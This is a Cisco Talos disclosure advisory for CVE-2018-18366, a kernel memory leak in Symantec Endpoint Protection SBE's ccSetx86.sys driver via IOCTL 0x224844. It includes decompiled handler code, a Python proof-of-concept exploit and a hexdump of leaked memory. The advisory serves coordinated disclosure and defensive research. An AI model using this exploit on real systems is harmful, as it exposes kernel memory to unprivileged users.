Talos Vulnerability Report

TALOS-2018-0693

Symantec Endpoint Protection Small Business Edition ccSetx86.sys 0x224844 kernel memory information disclosure vulnerability

April 23, 2019
CVE Number

CVE-2018-18366

Summary

An exploitable kernel memory disclosure vulnerability exists in the 0x224844 IOCTL handler function of Symantec Endpoint Protection Small Business Edition ccSetx86.sys, version 16.0.0.77. A specially crafted IRP request can cause the driver to return uninitialized memory, resulting in kernel memory disclosure. An attacker can send an IRP request to trigger this vulnerability.

Tested Versions

Symantec.cloud - Endpoint Protection - NIS-22.14.2.13 Symantec Endpoint Protection Small Business Edition ccSetx86.sys - Windows 7 x86

Product URLs

https://www.symantec.com/products/endpoint-smb

CVSSv3 Score

4.3 - CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

CWE

CWE-200: Information Exposure

Details

Symantec Endpoint Protection Small Business Edition (SEP SBE) is a complex endpoint protection solution targeted toward small businesses.

This advisory is for a vulnerability in the ccSetx86.sys driver installed with SEP SBE and is active by default.

This vulnerability can be triggered by sending IOCTL requests to the ccSet_{F7A725B7-8267-494C-9647-F4FC1D53C6A3} device. Here, we show the default access controls on the device allow any user on the system to send IOCTL requests:

\Device\ccSet_{F7A725B7-8267-494C-9647-F4FC1D53C6A3}
  Type: Device
  RW Everyone
  RW NT AUTHORITY\SYSTEM

We need to use the ZwOpenFile API instead of trying to open exposed symlinks to this device via CreateFile to obtain a valid handle to this device.

The kernel memory leak is located in the IOCTL handler for the 0x224844 control code. The vulnerable function is:

Line 1 	signed int __stdcall sub_8DE2FB98(PIRP irp, int (__stdcall ***a2)(char *, _DWORD *, int *))
Line 2 	{
Line 3 	  ULONG_PTR outLen;
Line 4 	  stackLocation = irp->Tail.Overlay.CurrentStackLocation;
Line 5 	  if ( !irp->AssociatedIrp.SystemBuffer
Line 6 		|| stackLocation->Parameters.DeviceIoControl.InputBufferLength < 2
Line 7 		|| stackLocation->Parameters.DeviceIoControl.OutputBufferLength < 4 )
Line 8 	  {
Line 9 		return 0xC0000023;
Line 10	  }
Line 11	  if ( stackLocation->Parameters.DeviceIoControl.IoControlCode & 3 )
Line 12	  {
Line 13		(...)
Line 14	  }
Line 15	  else
Line 16	  {
Line 17		outUserBuffer = irp->AssociatedIrp.SystemBuffer;
Line 18	  }
Line 19	  if ( outUserBuffer )
Line 20	  {
Line 21		someConstructor(&v14);
Line 22		v13 = copyString2(
Line 23				&v14,
Line 24				(int)irp->AssociatedIrp.SystemBuffer,
Line 25				stackLocation->Parameters.DeviceIoControl.InputBufferLength,
Line 26				(PWCHAR)&dstStringLen);
Line 27		if ( v13 >= 0 )
Line 28		{
Line 29		  outLen = stackLocation->Parameters.DeviceIoControl.OutputBufferLength;
Line 30		  v5 = (**v11)((char *)&v14, outUserBuffer, (int *)&outLen);// 8de2fb84
Line 31		  if ( v5 >= 0 )
Line 32		  {
Line 33			irp->IoStatus.Information = outLen;
Line 34		  }
Line 35		  
Line 36		(...)

Is worth to mention that this vulnerability only manifests itself when METHOD_BUFFERED is used during processing. We see at line 33 that if the function located at line 30 returns a positive value, the IoStatus.Information field, which indicates how many bytes will by returned from kernel mode in OutputBuffer, is set to outLen - OutputBufferLen. The value of that variable at the beginning of line 29 comes directly from the user so the amount of bytes returned to user mode will be fully controlled by the user if the outLen variable is not accurately set.

We will take a look inside sub_8DE34328 function to see how exactly the outLen variable is processed:

Line 1 	int __thiscall sub_8DE34328(struct_this_3 *this, char *obj, int outUserBuffer, unsigned int *outLen)
Line 2 	{
Line 3 	(...)
Line 4 
Line 5 		outLen_ = *outLen;
Line 6 		v12 = v18 + 2;
Line 7 		someUnicodeString = v12;
Line 8 		if ( outLen_ >= v12 )
Line 9 		{
Line 10		  if ( _outUserBuffer )
Line 11			returnCode = unicodeCopy((char *)&v17, _outUserBuffer, outLen_, &someUnicodeString);
Line 12		  else
Line 13			returnCode = 0xC000000D;
Line 14		}
Line 15		else
Line 16		{
Line 17		  *outLen = v12;
Line 18		  returnCode = 0xC0000023;
Line 19		}
Line 20	(...)

We see that only if we do not pass the constraint at line 10, outLen is set to the value equal v12 and the function returns an error. In other cases, the outLen value is not changed at all so a user fully controls its value.

Since the OutputBuffer has not been cleared anywhere and there is no check to see how many bytes have really been set to it during this procedure, random kernel memory will be leaked to user space.

Exploit Proof of Concept

def test_device():
	deviceName = r"\Device\ccSet_{F7A725B7-8267-494C-9647-F4FC1D53C6A3}"
	ioControl  = 0x224844
	outBuffer  = 0x5566
	str1 = r"\??\c:\TALOS_INSIDE.bin".encode("UTF-16-LE")
	inBuffer =  struct.pack("<I", len(str1)+2)
	inBuffer += str1


	file('irp.bin','wb').write(inBuffer)
	cmdStr = "DeviceOpen.exe {0} 0x{1:X} {2}".format(deviceName,ioControl,outBuffer)
	print cmdStr
	os.system(cmdStr)

//DeviceOpen.exe obtains device handle via ZwOpenFile, read irp.bin file content and pass it as a inputBuffer


Output:

c:\projects\symantec>python test.py
DeviceOpen.exe \Device\ccSet_{F7A725B7-8267-494C-9647-F4FC1D53C6A3} 0x224844 21862
Handle seems to be legit : 0x28
SUCCESS!
0000 : ..\.?.?.\.C.:.\. DE 00 5C 00 3F 00 3F 00 5C 00 43 00 3A 00 5C 00
0010 : P.r.o.g.r.a.m.D. 50 00 72 00 6F 00 67 00 72 00 61 00 6D 00 44 00
0020 : a.t.a.\.S.y.m.a. 61 00 74 00 61 00 5C 00 53 00 79 00 6D 00 61 00
0030 : n.t.e.c...c.l.o. 6E 00 74 00 65 00 63 00 2E 00 63 00 6C 00 6F 00
0040 : u.d.\.{.F.7.A.7. 75 00 64 00 5C 00 7B 00 46 00 37 00 41 00 37 00
0050 : 2.5.B.7.-.8.2.6. 32 00 35 00 42 00 37 00 2D 00 38 00 32 00 36 00
0060 : 7.-.4.9.4.C.-.9. 37 00 2D 00 34 00 39 00 34 00 43 00 2D 00 39 00
0070 : 6.4.7.-.F.4.F.C. 36 00 34 00 37 00 2D 00 46 00 34 00 46 00 43 00
0080 : 1.D.5.3.C.6.A.3. 31 00 44 00 35 00 33 00 43 00 36 00 41 00 33 00
0090 : }.\.C.o.m.m.o.n. 7D 00 5C 00 43 00 6F 00 6D 00 6D 00 6F 00 6E 00
00A0 :  .C.l.i.e.n.t.\. 20 00 43 00 6C 00 69 00 65 00 6E 00 74 00 5C 00
00B0 : c.c.S.e.t.M.g.r. 63 00 63 00 53 00 65 00 74 00 4D 00 67 00 72 00
00C0 : \.s.y.m.S.e.t.t. 5C 00 73 00 79 00 6D 00 53 00 65 00 74 00 74 00
00D0 : i.n.g.s...d.a.t. 69 00 6E 00 67 00 73 00 2E 00 64 00 61 00 74 00
00E0 : ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00F0 : ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0100 : ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0110 : ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0120 : ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0130 : ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0140 : ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0150 : ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
(...)
3300 : e...........f... 65 01 00 00 82 01 00 00 03 01 C0 F8 66 01 00 00
3310 : ........g....... 92 01 00 00 03 01 C0 F8 67 01 00 00 9A 01 00 00
3320 : ....h........... 03 01 C0 F8 68 01 00 00 A2 01 00 00 03 01 C0 F8
3330 : i...........j... 69 01 00 00 AA 01 00 00 03 01 C0 F8 6A 01 00 00
3340 : ........k....... B2 01 00 00 03 01 C0 F8 6B 01 00 00 BA 01 00 00
3350 : ....l........... 03 01 C0 F8 6C 01 00 00 C2 01 00 00 03 01 C0 F8
3360 : m...........n... 6D 01 00 00 D2 01 00 00 03 01 C0 F8 6E 01 00 00
3370 : ........o....... DA 01 00 00 03 01 C0 F8 6F 01 00 00 0A 02 00 00
3380 : ....p........... 03 01 C0 F8 70 01 00 00 12 02 00 00 03 01 C0 F8
3390 : q...........r... 71 01 00 00 1A 02 00 00 03 01 C0 F8 72 01 00 00
33A0 : ".......s...*... 22 02 00 00 03 01 C0 F8 73 01 00 00 2A 02 00 00
33B0 : ....t...2....... 03 01 C0 F8 74 01 00 00 32 02 00 00 03 01 C0 F8
33C0 : u...:.......v... 75 01 00 00 3A 02 00 00 03 01 C0 F8 76 01 00 00
33D0 : B.......w...J... 42 02 00 00 03 01 C0 F8 77 01 00 00 4A 02 00 00
33E0 : ....x...R....... 03 01 C0 F8 78 01 00 00 52 02 00 00 03 01 C0 F8
33F0 : y...Z.......z... 79 01 00 00 5A 02 00 00 03 01 C0 F8 7A 01 00 00
3400 : b.......{...j... 62 02 00 00 03 01 C0 F8 7B 01 00 00 6A 02 00 00
3410 : ....|...q....... 03 01 C0 F8 7C 01 00 00 71 02 00 00 03 01 C0 F8
3420 : }...y.......~... 7D 01 00 00 79 02 00 00 03 01 C0 F8 7E 01 00 00
3430 : ........⌂....... A1 02 00 00 03 01 C0 F8 7F 01 00 00 A9 02 00 00
3440 : ................ 03 01 C0 F8 80 01 00 00 B9 02 00 00 03 01 C0 F8
3450 : ................ 81 01 00 00 C1 02 00 00 03 01 C0 F8 82 01 00 00
3460 : ................ C9 02 00 00 03 01 C0 F8 83 01 00 00 CD 02 00 00
3470 : ................ 03 01 C0 F8 84 01 00 00 D0 02 00 00 08 01 80 FF
3480 : ................ 85 01 00 00 D5 02 00 00 03 01 C0 F8 86 01 00 00
3490 : ................ D8 02 00 00 08 01 80 FF 87 01 00 00 E0 02 00 00
34A0 : ................ 08 01 80 FF 88 01 00 00 E8 02 00 00 08 01 80 FF
34B0 : ............\.D. FF FF FF FF F0 02 00 00 08 01 80 FF 5C 00 44 00
34C0 : E.V.I.C.E.\.H.A. 45 00 56 00 49 00 43 00 45 00 5C 00 48 00 41 00
34D0 : R.D.D.I.S.K.V.O. 52 00 44 00 44 00 49 00 53 00 4B 00 56 00 4F 00
34E0 : L.U.M.E.1.\.W.I. 4C 00 55 00 4D 00 45 00 31 00 5C 00 57 00 49 00
34F0 : N.D.O.W.S.\.S.Y. 4E 00 44 00 4F 00 57 00 53 00 5C 00 53 00 59 00
3500 : S.T.E.M.3.2.\.N. 53 00 54 00 45 00 4D 00 33 00 32 00 5C 00 4E 00
3510 : T.D.L.L...D.L.L. 54 00 44 00 4C 00 4C 00 2E 00 44 00 4C 00 4C 00
3520 : ..\.D.E.V.I.C.E. 00 00 5C 00 44 00 45 00 56 00 49 00 43 00 45 00
3530 : \.H.A.R.D.D.I.S. 5C 00 48 00 41 00 52 00 44 00 44 00 49 00 53 00
3540 : K.V.O.L.U.M.E.1. 4B 00 56 00 4F 00 4C 00 55 00 4D 00 45 00 31 00
3550 : \.W.I.N.D.O.W.S. 5C 00 57 00 49 00 4E 00 44 00 4F 00 57 00 53 00
3560 : \.S.Y.S.T.E.M.3. 5C 00 53 00 59 00 53 00 54 00 45 00 4D 00 33 00
3570 : 2.\.K.E.R.N.E.L. 32 00 5C 00 4B 00 45 00 52 00 4E 00 45 00 4C 00
3580 : 3.2...D.L.L...\. 33 00 32 00 2E 00 44 00 4C 00 4C 00 00 00 5C 00
3590 : D.E.V.I.C.E.\.H. 44 00 45 00 56 00 49 00 43 00 45 00 5C 00 48 00
35A0 : A.R.D.D.I.S.K.V. 41 00 52 00 44 00 44 00 49 00 53 00 4B 00 56 00
35B0 : O.L.U.M.E.1.\.W. 4F 00 4C 00 55 00 4D 00 45 00 31 00 5C 00 57 00
35C0 : I.N.D.O.W.S.\.S. 49 00 4E 00 44 00 4F 00 57 00 53 00 5C 00 53 00
35D0 : Y.S.T.E.M.3.2.\. 59 00 53 00 54 00 45 00 4D 00 33 00 32 00 5C 00	
(...)

Timeline

2018-10-23 - Vendor disclosure
2018-11-02 - Vendor acknowledged vulnerability
2018-12-04 - 30 day follow up
2019-02-11 - Vendor assigned CVE
2019-04-23 - Public release

Credit

Marcin 'Icewall' Noga of Cisco Talos.